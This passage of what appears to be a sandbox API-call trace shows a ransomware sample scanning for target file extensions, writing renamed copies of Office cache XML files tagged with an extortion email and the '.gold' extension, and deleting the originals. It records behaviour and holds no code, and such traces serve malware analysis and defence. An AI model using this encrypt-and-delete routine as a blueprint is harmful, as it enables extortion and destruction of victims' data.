(lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.757] lstrlenW (lpString=".ppt") returned 4 [0034.757] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.758] lstrlenW (lpString=".zip") returned 4 [0034.758] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.758] lstrlenW (lpString=".rar") returned 4 [0034.758] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.758] lstrlenW (lpString=".bz2") returned 4 [0034.758] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.758] lstrlenW (lpString=".7z") returned 3 [0034.758] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.758] lstrlenW (lpString=".dbf") returned 4 [0034.758] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.758] lstrlenW (lpString=".1cd") returned 4 [0034.758] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.758] lstrlenW (lpString=".jpg") returned 4 [0034.758] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.758] lstrlenW (lpString=".doc") returned 4 [0034.758] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.758] lstrlenW (lpString=".docx") returned 5 [0034.758] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.758] lstrlenW (lpString=".pdf") returned 4 [0034.758] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.758] lstrlenW (lpString=".xls") returned 4 [0034.758] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.758] lstrlenW (lpString=".xlsx") returned 5 [0034.758] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.758] lstrlenW (lpString=".ppt") returned 4 [0034.758] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.758] lstrlenW (lpString=".zip") returned 4 [0034.758] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.758] lstrlenW (lpString=".rar") returned 4 [0034.758] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.758] lstrlenW (lpString=".bz2") returned 4 [0034.758] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.758] lstrlenW (lpString=".7z") returned 3 [0034.758] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.758] lstrlenW (lpString=".dbf") returned 4 [0034.758] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.758] lstrlenW (lpString=".1cd") returned 4 [0034.758] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.758] lstrlenW (lpString=".jpg") returned 4 [0034.758] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.758] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.758] lstrlenW (lpString="Proof.xml") returned 9 [0034.759] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.762] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1347) returned 1 [0034.762] CloseHandle (hObject=0x17c) returned 1 [0034.762] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0034.762] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.762] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.762] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.762] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.763] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.763] GetLastError () returned 0x0 [0034.763] ReadFile (in: hFile=0x17c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x543, lpOverlapped=0x0) returned 1 [0034.776] WriteFile (in: hFile=0x198, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x550, lpOverlapped=0x0) returned 1 [0034.776] ReadFile (in: hFile=0x17c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.777] WriteFile (in: hFile=0x198, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.777] SetEndOfFile (hFile=0x198) returned 1 [0034.777] CloseHandle (hObject=0x198) returned 1 [0034.777] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.777] SetEndOfFile (hFile=0x17c) returned 1 [0034.778] CloseHandle (hObject=0x17c) returned 1 [0034.778] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.778] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0034.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.779] lstrlenW (lpString=".doc") returned 4 [0034.779] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.779] lstrlenW (lpString=".docx") returned 5 [0034.779] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.779] lstrlenW (lpString=".pdf") returned 4 [0034.779] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.779] lstrlenW (lpString=".xls") returned 4 [0034.779] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.779] lstrlenW (lpString=".xlsx") returned 5 [0034.779] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.779] lstrlenW (lpString=".ppt") returned 4 [0034.779] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.779] lstrlenW (lpString=".zip") returned 4 [0034.779] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.779] lstrlenW (lpString=".rar") returned 4 [0034.779] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.779] lstrlenW (lpString=".bz2") returned 4 [0034.779] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.779] lstrlenW (lpString=".7z") returned 3 [0034.779] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.779] lstrlenW (lpString=".dbf") returned 4 [0034.779] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.779] lstrlenW (lpString=".1cd") returned 4 [0034.779] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.779] lstrlenW (lpString=".jpg") returned 4 [0034.779] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.780] lstrlenW (lpString=".doc") returned 4 [0034.780] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.780] lstrlenW (lpString=".docx") returned 5 [0034.780] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.780] lstrlenW (lpString=".pdf") returned 4 [0034.780] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.780] lstrlenW (lpString=".xls") returned 4 [0034.780] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.780] lstrlenW (lpString=".xlsx") returned 5 [0034.780] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.780] lstrlenW (lpString=".ppt") returned 4 [0034.780] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.780] lstrlenW (lpString=".zip") returned 4 [0034.780] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.780] lstrlenW (lpString=".rar") returned 4 [0034.780] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.780] lstrlenW (lpString=".bz2") returned 4 [0034.780] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.780] lstrlenW (lpString=".7z") returned 3 [0034.780] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.780] lstrlenW (lpString=".dbf") returned 4 [0034.780] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.780] lstrlenW (lpString=".1cd") returned 4 [0034.780] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.780] lstrlenW (lpString=".jpg") returned 4 [0034.780] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.780] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.780] lstrlenW (lpString="Proof.xml") returned 9 [0034.780] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.781] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1458) returned 1 [0034.781] CloseHandle (hObject=0x17c) returned 1 [0034.781] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0034.781] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.781] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.781] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.781] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.781] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.781] GetLastError () returned 0x0 [0034.781] ReadFile (in: hFile=0x17c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0034.802] WriteFile (in: hFile=0x198, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0034.803] ReadFile (in: hFile=0x17c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.803] WriteFile (in: hFile=0x198, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.803] SetEndOfFile (hFile=0x198) returned 1 [0034.803] CloseHandle (hObject=0x198) returned 1 [0034.804] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.804] SetEndOfFile (hFile=0x17c) returned 1 [0034.804] CloseHandle (hObject=0x17c) returned 1 [0034.805] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.805] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0034.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.805] lstrlenW (lpString=".doc") returned 4 [0034.805] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.805] lstrlenW (lpString=".docx") returned 5 [0034.805] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.805] lstrlenW (lpString=".pdf") returned 4 [0034.805] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.805] lstrlenW (lpString=".xls") returned 4 [0034.805] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.805] lstrlenW (lpString=".xlsx") returned 5 [0034.805] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.805] lstrlenW (lpString=".ppt") returned 4 [0034.805] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.805] lstrlenW (lpString=".zip") returned 4 [0034.805] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.805] lstrlenW (lpString=".rar") returned 4 [0034.805] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.805] lstrlenW (lpString=".bz2") returned 4 [0034.805] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.805] lstrlenW (lpString=".7z") returned 3 [0034.806] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.806] lstrlenW (lpString=".dbf") returned 4 [0034.806] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.806] lstrlenW (lpString=".1cd") returned 4 [0034.806] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.806] lstrlenW (lpString=".jpg") returned 4 [0034.806] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.806] lstrlenW (lpString=".doc") returned 4 [0034.806] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.806] lstrlenW (lpString=".docx") returned 5 [0034.806] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.806] lstrlenW (lpString=".pdf") returned 4 [0034.806] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.806] lstrlenW (lpString=".xls") returned 4 [0034.806] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.806] lstrlenW (lpString=".xlsx") returned 5 [0034.806] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.806] lstrlenW (lpString=".ppt") returned 4 [0034.806] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.806] lstrlenW (lpString=".zip") returned 4 [0034.806] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.806] lstrlenW (lpString=".rar") returned 4 [0034.806] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.806] lstrlenW (lpString=".bz2") returned 4 [0034.806] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.806] lstrlenW (lpString=".7z") returned 3 [0034.806] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.806] lstrlenW (lpString=".dbf") returned 4 [0034.806] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.806] lstrlenW (lpString=".1cd") returned 4 [0034.806] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0034.806] lstrlenW (lpString=".jpg") returned 4 [0034.806] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.807] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.807] lstrlenW (lpString="Setup.xml") returned 9 [0034.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.807] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2362) returned 1 [0034.807] CloseHandle (hObject=0x17c) returned 1 [0034.807] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.807] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.807] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.807] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.807] GetLastError () returned 0x0 [0034.807] ReadFile (in: hFile=0x17c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x93a, lpOverlapped=0x0) returned 1 [0034.826] WriteFile (in: hFile=0x198, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x940, lpOverlapped=0x0) returned 1 [0034.827] ReadFile (in: hFile=0x17c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.827] WriteFile (in: hFile=0x198, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.827] SetEndOfFile (hFile=0x198) returned 1 [0034.827] CloseHandle (hObject=0x198) returned 1 [0034.828] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.828] SetEndOfFile (hFile=0x17c) returned 1 [0034.828] CloseHandle (hObject=0x17c) returned 1 [0034.829] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.829] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.829] lstrlenW (lpString="C:\\MSOCache\\All 